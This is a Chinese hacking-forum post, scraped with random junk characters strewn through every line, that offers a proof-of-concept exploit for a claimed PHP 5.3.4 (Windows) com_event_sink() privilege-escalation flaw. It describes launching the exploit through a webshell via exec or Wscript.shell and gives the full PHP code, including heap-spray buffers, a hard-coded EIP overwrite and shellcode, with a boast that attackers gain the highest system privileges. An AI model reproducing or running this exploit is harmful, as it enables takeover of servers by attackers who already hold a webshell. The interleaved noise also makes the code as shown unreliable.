|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中+ C1 K, P2 P* o8 E, ] W, f
: @; N7 u( Z- ?3 o% Q2 {5 f2 U
测试方法如下:cmd /c x:\php\php.exe x:\test.php
: p" u8 s6 |7 e, J; |* y; i* Z: N) k# o4 x# J3 O4 q( x( S7 M, Q* g7 t
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php( g k! I5 R0 N6 W) _$ `
这里是两个测试的截图:
( m. e3 T0 K6 B% B$ ~
% s/ l h C* h) q+ j9 {. h2 o
9 f) g1 E$ R) e5 A# W: I
+ X; C' U1 E& {3 }( @9 j- ]2 r' f6 j3 a! A" m2 |1 R( m& c3 k
* j* ?5 J$ u% B* c( Y0 K8 V成功利用此漏洞的攻击者将获得系统的最高权限
* `! d. p7 _7 \& {, v, |6 h4 Z* a6 F% C' X; B9 [
2 _* t6 Z* \2 J- ~
6 m; b! o; H- y8 {0 u/ {
6 o+ h8 ~" r. D3 p: b
+ i# x; d- W9 A& K# @) @5 ?关于漏洞分析稍后附上。一下是PoC代码:2 o" A; i) z. o9 p. a
9 p/ n, L& H, j& H& M) z0 e: y
<?php S1 f+ x# q$ q* W6 }, T; g# `
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
' f1 F' |+ ?7 I# S H//$eip ="\x44\x43\x42\x41";
2 k5 W6 S9 Z1 I2 @9 J8 Y$ o$eip= "\x4b\xe8\x57\x78";$ t$ W) G7 V- I& |9 g5 M
$eax ="\x80\x01\x8d\x04";$ B# x6 f2 X, ^5 B' M3 y
$deodrant="";
. x. U' |6 m* M$axespray = str_repeat($eip.$eax,0x80);
8 ?0 A8 d$ c' P0 ?) D3 [: @3 H% m//048d0190
8 }' E+ A7 T6 l) M# Cecho strlen($axespray);
3 g" D7 K! z4 x8 F* I" ^1 A3 Jecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n"; S# I. G' G# X* o' i: c
echo "Silic Group Hacker Army - BlackBap.Org";
1 _, P' R% y% _- ~7 a7 a$ u//19200 ==4B32 4b00, E7 Z8 y1 f3 |% i. ] }
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}( b3 z& z9 k w" s' O% n
$terminate = "T";. _: c# k5 z$ o
$u[] =$deodrant;
1 h1 w: s0 J& d* p" d4 R! ]$r[] =$deodrant.$terminate;
3 i3 p- c3 E7 U' n* ^! Q* m/ \2 @$a[] =$deodrant.$terminate;$ p' l3 k6 ~! g( p8 G P
$s[] =$deodrant.$terminate;
7 }+ A7 i7 C. q1 ?//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
, ^. ^4 T" z7 q( n4 C$vVar = new VARIANT(0x048d0000+180);
; D3 m' h- o" u2 s& U0 Z//弹窗代码(Shellcode)' \! l9 Z+ X! l' Y+ _2 E( R1 \/ T
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
: V2 N: R/ x& i' N$var2 = new VARIANT(0x41414242);
, C$ }2 f r' S) c$ Mcom_event_sink($vVar,$var2,$buffer);
$ w6 |( H0 G0 ^5 ^0 p2 Q1 a?>
5 u: T) d d1 A% [7 P' X0 i3 t |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|